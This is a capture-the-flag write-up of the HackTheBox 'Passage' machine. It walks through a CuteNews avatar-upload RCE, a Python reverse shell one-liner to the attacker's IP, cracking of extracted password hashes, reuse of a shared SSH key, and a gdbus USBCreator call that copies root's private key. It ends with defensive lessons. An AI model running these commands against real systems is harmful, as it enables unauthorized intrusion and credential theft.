Passage - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Passage is a medium-difficulty Linux machine hosting a CuteNews web application vulnerable to remote code execution via improper avatar upload validation (CVE-2019-11447). Initial foothold is gained by exploiting this vulnerability to execute arbitrary commands as the www-data user. Lateral movement is achieved by extracting and cracking CuteNews password hashes to obtain credentials for the system user paul. A shared SSH private key between paul and nadav enables further lateral movement. Privilege escalation is accomplished by exploiting a D-Bus vulnerability in the USBCreator service—a misconfigured PolicyKit policy allows the sudo group to invoke privileged methods without password authentication, enabling arbitrary file read/write as root.

TL;DR: CuteNews RCE → Hash Cracking → SSH Key Sharing → D-Bus USBCreator Exploit → Root

Reconnaissance

Port Scanning

nmap -sC -sV -T4 -p- 10.10.10.206

Results:

22/tcp  open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
80/tcp  open  http    Apache httpd 2.4.18

The machine exposes SSH on port 22 and a web server on port 80.

Service Enumeration

Port 80 - Apache HTTP Server:

Browsing to http://10.10.10.206 displays a “Passage News” page with blog updates. Source code inspection reveals:

• Author emails: paul@passage.htb and nadav@passage.com
• Directory reference to /CuteNews

Navigating to /CuteNews reveals a login page for CuteNews 2.1.2.

Vulnerability Assessment

CuteNews 2.1.2 - Remote Code Execution (CVE-2019-11447):

• Vulnerability exists in the avatar upload process (/core/modules/dashboard.php)
• Insufficient validation of the $imgsize variable allows file type bypass
• Attackers can upload PHP files by modifying headers to appear as GIF images
• Results in arbitrary command execution

Initial Foothold

Exploitation Path

Step 1: Exploit CuteNews Avatar Upload Vulnerability

Download and execute the public exploit:

wget https://www.exploit-db.com/download/48800
python3 48800.py

When prompted, enter the target URL: http://10.10.10.206

The exploit performs the following:

1. Registers a new user with random credentials
2. Extracts CSRF tokens from the personal settings page
3. Uploads a PHP webshell disguised as a GIF image via the avatar upload functionality
4. Provides an interactive shell to execute commands

Step 2: Verify Code Execution

whoami
# Output: www-data

Step 3: Obtain Interactive Reverse Shell

Start a listener on the attack machine:

nc -lvp 4444

Check if Python is available on the target:

which python

Execute a reverse shell payload:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Spawn a pseudo-terminal for a more stable shell:

python -c 'import pty; pty.spawn("/bin/bash")'

Privilege Escalation

Lateral Movement: www-data → paul

Step 1: Extract CuteNews User Credentials

Enumerate system users:

cat /etc/passwd | grep -E 'paul|nadav'

Navigate to the CuteNews user data directory:

cd /var/www/html/CuteNews/cdata/users
ls -l

The user information is stored in base64-encoded PHP files. Extract and decode all credentials:

grep -r "." /var/www/html/CuteNews/cdata/users/ | grep -v "^Binary" | base64 -d | sed "s/}}/}}\n/g"

Step 2: Identify and Crack Paul’s Password Hash

From the decoded output, locate the hash for user paul:

e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd

Identify the hash algorithm:

hash-identifier e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
# Algorithm: SHA-256

Crack the hash using John the Ripper:

echo "e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd" > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256
# Password: atlanta1

Step 3: Switch to Paul User

su paul
# Enter password: atlanta1

Retrieve the user flag:

cat /home/paul/user.txt

Lateral Movement: paul → nadav

Step 1: Discover Shared SSH Keys

Examine Paul’s SSH authorized keys:

cat /home/paul/.ssh/authorized_keys

The file reveals that nadav@passage has been authorized to connect as paul, suggesting shared SSH keys between the two users.

Step 2: Locate and Use the Private Key

The shared private key is located at:

ls -la /home/paul/.ssh/
cat /home/paul/.ssh/id_rsa

Attempt to connect as nadav from within the current shell:

ssh -i /home/paul/.ssh/id_rsa nadav@10.10.10.206

If needed, copy the key locally and adjust permissions:

# On local machine (if transferring the key)
chmod 600 id_rsa
ssh -i id_rsa nadav@10.10.10.206

Privilege Escalation: nadav → root

Step 1: Enumerate Nadav’s Privileges

Check group membership:

id
# Output: uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

Nadav is a member of the sudo group.

Step 2: Analyze Vim Command History

Examine the .viminfo file to identify recent administrative changes:

cat ~/.viminfo | grep -E "com.ubuntu.USBCreator|polkit"

The history reveals modifications to:

• /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
• /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf

Step 3: Verify PolicyKit Configuration

cat /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf

The AdminIdentities has been modified from unix-group:root to unix-group:sudo, allowing sudo group members to invoke privileged D-Bus methods.

Step 4: Verify USBCreator D-Bus Policy

cat /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf

This policy permits the sudo group to invoke USBCreator methods.

Step 5: Exploit USBCreator D-Bus Vulnerability

The USBCreator D-Bus service contains a Python implementation of the dd utility that copies files without proper authorization checks. This vulnerability allows reading files as root despite the sudo password policy.

Use gdbus to invoke the Image method and copy root’s private SSH key:

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /home/nadav/id_rsa true

Step 6: Connect as Root

Verify the key was copied:

ls -la /home/nadav/id_rsa

Connect to the machine as root:

ssh -i /home/nadav/id_rsa root@10.10.10.206

Retrieve the root flag:

cat /root/root.txt

Attack Chain Summary

CuteNews RCE (CVE-2019-11447)
    ↓
www-data Shell Access
    ↓
Extract & Crack CuteNews Password Hashes
    ↓
Switch to paul (Password Reuse: atlanta1)
    ↓
Discover Shared SSH Key (/home/paul/.ssh/id_rsa)
    ↓
Lateral Move to nadav User
    ↓
Enumerate D-Bus USBCreator Service (sudo group privileges)
    ↓
Exploit USBCreator File Copy Vulnerability
    ↓
Copy /root/.ssh/id_rsa to nadav Home Directory
    ↓
SSH Login as root
    ↓
Root Access Achieved

Tools Used

Key Learnings

Techniques Practiced

• Web Application Exploitation: Bypassing file upload restrictions by manipulating MIME type headers
• Hash Extraction and Cracking: Identifying serialized data structures and password hash formats
• Lateral Movement: Leveraging password reuse and shared SSH keys for privilege escalation
• D-Bus Service Exploitation: Manipulating PolicyKit configurations to bypass sudo security policies
• Privilege Escalation via System Services: Exploiting trust boundaries between system daemons and unprivileged users

Lessons Learned

1. Input Validation is Critical: The avatar upload vulnerability demonstrates the danger of insufficient file type validation—always verify file content, not just headers.

2. Password Reuse is a Security Risk: Cracked web application credentials enabled direct system access; unique passwords per service are essential.

3. Shared SSH Keys Enable Lateral Movement: Keys shared between users create a privilege escalation pathway; SSH key management must be strictly controlled.

4. PolicyKit Misconfiguration Enables Privilege Escalation: Modifying AdminIdentities to include unprivileged groups (like sudo) grants unauthorized access to privileged D-Bus methods.

5. System Service Trust is Exploitable: The USBCreator service, running as root with insufficient access controls, becomes a vehicle for privilege escalation when its D-Bus policy is misconfigured.

6. Monitor Administrative Changes: Reviewing vim history and configuration file modifications can reveal system-level security changes that introduce vulnerabilities.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>